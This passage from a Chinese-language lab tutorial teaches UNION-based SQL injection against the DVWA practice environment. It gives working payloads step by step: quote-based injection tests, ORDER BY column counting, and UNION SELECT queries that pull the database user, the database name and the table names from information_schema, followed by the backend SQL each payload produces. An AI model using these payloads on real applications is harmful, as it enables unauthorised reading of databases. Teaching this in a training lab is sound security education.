select 1,2,3 from table_name1 union select 4,5,6 from table_name2;
而在注入过程中,我们把union select 4,5,6 from table_name2部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3==4,5,6均为3列。我们把这种注入方式称为union注入
二:union注入利用流程
这里我用DVWA靶机环境的SQL Injection部分做演示。输入1 发送正常请求得到返回值
1. 判断注入点类型
在本篇文章我们重点放在构造union注入部分,探测注入点类型这里就简单过一下。依次输入 3-2;1 and 1=1; 1” and “1”=”1;1’ and ‘1’=’1; 查看回显页面可知,该输入点存在单引号的字符型注入。可根据 1’ and ‘1’=’1;1’ and ‘1’=’2 的输入结果判断
1' and '1'='1
1' and '1'='2
2. 判断后台SQL的列数
在概念部分我们知道union注入的关键点之一就是要判断原SQL的列数,这里我们可以通过order by n #来判断。n 表示列数,#表示注释,用于注释点order by n后面部分的SQL。依次输入1’ order by 5#;1’ order by 3#;1’ order by 2#
1' order by 5#
1' order by 2#
在1’ order by 5#时,由于原SQL列数少于5,所以报错,在不断减小n的值之后,直到n=2时不再报错,此时可以判断原SQL的列数为2
3. union注入探测
首先构造输入,使输入能正确拼接在后台原始SQL中。输入 1’ union select 1,2 #
1' union select 1,2 #
1’ 部分表示与原始SQL的单引号拼接成完整字符 union 部分表示与原始SQL语句拼接 select 1,2 部分是SQL注入攻击者可以控制写的SQL,其中一定要保持只有2列 # 部分注释掉原始SQL的后半部分 执行成功后,我们可以在select 1,2部分进行变形,如select user(),database()。即在输入点输入 1’ union select user(),database()#。得到用户名和数据库名
1' union select user(),database()#
接下来我们可以尝试获取所有表名,列名,表中数据等等。以获取表名为例,在输入点输入1’ union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #
1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #
1' and '1'='1 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';
1' and '1'='2 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2';
1' order by 5# SELECT first_name, last_name FROM users WHERE user_id = '1' order by 5#';
1' order by 2# SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
1' union select 1,2 # SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';
1' union select user(),database()# SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(),database()#';
1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() # SELECT first_name, last_name FROM users WHERE user_id = '1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #';